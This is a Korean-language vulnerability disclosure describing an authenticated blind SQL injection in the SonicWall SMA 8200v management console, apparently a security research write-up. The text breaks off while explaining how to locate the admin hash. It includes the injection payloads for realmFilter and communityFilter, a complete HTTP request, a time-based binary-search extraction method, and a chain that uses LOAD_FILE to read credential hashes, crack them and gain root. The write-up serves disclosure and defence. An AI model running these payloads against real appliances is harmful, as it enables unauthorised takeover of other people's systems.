
SonicWall SMA1000 시리즈 어플라이언스의 SQL 명령에 사용되는 특수 요소의 부적절한 중화(“SQL Injection”)로 인해 읽기 전용 관리자 권한을 가진 원격 인증 공격자가 기본 관리자로 권한을 상승시킬 수 있습니다.
SonicWall SMA 8200v 관리 콘솔(포트 8443)의 인증 후 블라인드 SQL 인젝션 취약점으로 인해 인증된 모든 관리자(낮은 권한의 읽기 전용 계정 포함)가 어플라이언스 구성 파일에서 기본 관리자의 SHA-512 비밀번호 해시를 추출할 수 있습니다. SonicWall은 관리 콘솔 관리자와 운영 체제 root 계정에 동일한 자격 증명을 사용하므로, 이 해시를 크래킹하면 어플라이언스에 대한 전체 root 수준 액세스 권한을 얻을 수 있습니다.
분류: 권한 상승 (낮은 권한 관리자 → Root) CVSS 3.1: 7.2 (높음) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 공격 복잡성: 낮음 (자동화된 PoC가 약 60~90분 내에 추출 완료) 전제 조건: 유효한 관리 콘솔 자격 증명 (읽기 전용 계정 포함)
| 구성 요소 | 세부 사항 |
|---|---|
| 플랫폼 | SonicWall SMA 8200v (가상 어플라이언스) |
| 펌웨어 | 12.5.0-02283 (확인됨); 12.x 전체 가능성 높음 |
| 서비스 | 관리 콘솔 — Jetty + Struts 2 (포트 8443) |
| 엔드포인트 | POST /activeUsers.action |
| 취약한 매개변수 | realmFilter, communityFilter (교차 매개변수) |
| 근본 원인 클래스 | com.aventail.mgmt.sql.Sql.safeParam() |
| 데이터베이스 | MariaDB 10.11.14, 사용자 DbAdmin (ALL PRIVILEGES + FILE) |
| 대상 파일 | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
관리 콘솔은 com.aventail.mgmt.sql.Sql 클래스의 헬퍼 메서드 safeParam()을 사용하여 Active Users 대시보드에 대한 SQL 쿼리를 구성합니다. 이 메서드는 작은따옴표(')와 큰따옴표(")를 두 배로 늘려 이스케이프하지만, 백슬래시 문자(\)는 이스케이프하지 않습니다.
MySQL/MariaDB에서 백슬래시는 문자열 리터럴 내부의 기본 이스케이프 문자입니다. \' 시퀀스는 데이터베이스가 작은따옴표를 문자열 종결자가 아닌 리터럴 문자로 해석하게 합니다. 즉, 매개변수 값 끝의 백슬래시는 애플리케이션이 추가하는 닫는 따옴표를 이스케이프하여 SQL 문자열 리터럴이 인접한 구문으로 확장되게 합니다.
검증 공백:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 주입 메커니즘: 교차 파라미터 기법
`activeUsers.action` 엔드포인트는 단일 SQL WHERE 절에 보간되는 여러 필터 파라미터를 허용합니다. 관련 파라미터는 `realmFilter`와 `communityFilter`이며, 이들은 대략 다음과 같은 구조의 쿼리에 나타납니다:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
공격 파라미터 설정:
| 파라미터 | 값 | 목적 |
|---|---|---|
realmFilter | test\ | 후행 백슬래시가 닫는 따옴표를 이스케이프하여 문자열 리터럴이 AND 경계를 넘어 확장되도록 함 |
communityFilter | )) OR (SELECT IF(<조건>,SLEEP(N),0))-- x | 열린 괄호를 닫고 조건부 SLEEP을 주입하며 나머지 부분을 주석 처리함 |
보간 후 결과 SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
이를 분석하면:
1. `rt.name='test\')` — `\`가 `'`를 이스케이프하므로 문자열은 여기서 닫히지 않음
2. `AND (ct.name='` — 문자열 값의 일부가 됨(리터럴 텍스트)
3. 문자열은 마침내 다음 `'`(communityFilter의 시작 부분)에서 닫힘
4. `))` — WHERE 절 구조에서 열린 두 개의 괄호를 닫음
5. `OR (SELECT IF(...))` — 블라인드 SQLi 조건을 주입
6. `-- x` — 나머지 SQL(`')` 및 기타 절)을 주석 처리
### 3.3 시간 기반 블라인드 추출
애플리케이션의 Struts 2 오류 처리가 SQL 예외를 정상적으로 처리하므로(쿼리 성공 여부와 관계없이 항상 동일한 페이지 콘텐츠와 함께 HTTP 200을 반환), 오류 기반 및 UNION 기반 추출 방법은 사용할 수 없습니다. 주입은 시간 기반 블라인드 기법을 사용하여 악용됩니다:
- **TRUE 조건:** `IF(<condition>, SLEEP(N), 0)` — 응답이 SLEEP 지속 시간에 결과 집합의 행 수를 곱한 만큼 지연됨
- **FALSE 조건:** SLEEP 없음 — 응답이 약 200-500ms 내에 반환됨
SLEEP 함수는 WHERE 절 평가에서 행별로 실행됩니다. 일반적인 모니터링 테이블에 30-300개 이상의 행이 포함된 경우, 작은 SLEEP 값(예: 0.3초)이라도 명확히 구분 가능한 지연(TRUE의 경우 10-100초, FALSE의 경우 <1초)을 생성합니다.
대상 데이터의 각 문자는 ASCII 범위에 대한 이진 검색을 통해 추출됩니다:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
이를 위해서는 문자당 최대 7회의 요청이 필요하며(log2(128) = 7), 98자 SHA-512 해시의 경우 총 약 686회의 요청이 발생합니다.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 1단계: 인증
SMA 관리 콘솔은 두 가지 인증 영역(realm)을 지원합니다:
| 영역 ID | 표시 이름 | 사용자 |
|----------|-------------|-------|
| *(비어 있음)* | 관리 콘솔 | 기본 관리자 계정만 |
| `AMCAuthRealm` / `로컬 인증` | 로컬 인증 | 보조 관리자 계정(읽기 전용, 사용자 지정) |
공격에는 관리 콘솔 접근 권한이 있는 **모든** 계정의 유효한 자격 증명만 있으면 됩니다. 모니터링 전용 접근을 위해 설계되고 구성 변경 기능이 없는 "읽기 전용" 계정으로도 충분합니다.
인증은 J2EE FORM 기반 인증을 통해 수행됩니다:
1. `GET /console.action` — 로그인 페이지를 검색하고 숨겨진 양식 필드에서 CSRF 토큰을 추출합니다
2. `POST /j_security_check` — `csrfToken`, `j_username`, `j_password`, `realmId`를 제출합니다
3. 성공 시 HTTP 303 리디렉션, `JSESSIONID` 쿠키가 설정됩니다
### 4.3 2단계: SQL 인젝션
인증 후, 공격자는 교차 매개변수 인젝션을 사용하여 `/activeUsers.action`에 POST 요청을 보냅니다:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
무조건적인 IF(1=1, SLEEP(0.3), 0)는 HTTP 응답에서 측정 가능한 지연을 관찰하여 주입이 실제로 작동하는지 검증합니다.
MariaDB 데이터베이스는 OS 사용자 DbAdmin(uid=1001, gid=500 aventail)으로 실행됩니다. 이 데이터베이스 사용자는 LOAD_FILE()에 필요한 FILE 권한을 포함하여 ALL PRIVILEGES ON *.* WITH GRANT OPTION을 보유합니다.
중요한 발견: MariaDB 구성 설정 secure_file_priv = NULL(INTO OUTFILE 및 INTO DUMPFILE 쓰기 작업을 차단)에도 불구하고, 파일 읽기를 위한 LOAD_FILE() 함수는 완전히 작동합니다. 이는 문서화되어 있지만 잘 알려지지 않은 MariaDB 동작입니다 — secure_file_priv=NULL는 파일 쓰기 경로를 제한하지만, 사용자가 FILE 권한을 가진 경우 파일 읽기를 비활성화하지 않습니다.
대상 구성 파일 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml은 mgmt-server:aventail이 소유하며 권한은 664(rw-rw-r--)입니다. DbAdmin OS 사용자가 aventail 그룹에 속하므로 LOAD_FILE()로 이 파일을 읽을 수 있습니다.
블라인드 SQLi를 통한 검증:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 4단계: avconfig.xml에서 관리자 해시 찾기
`avconfig.xml` 파일(약 98KB)은 어플라이언스의 마스터 구성 저장소입니다. 이 파일에는 모든 사용자 자격 증명이 SHA-512 crypt 형식으로 `<password>` XML 요소 내에 포함되어 있습니다. 기본 관리자 해시는 관리자 섹션에 고유한 `<consoleMode>` 요소 근처의 `<credentials_item>` 블록에 위치합니다.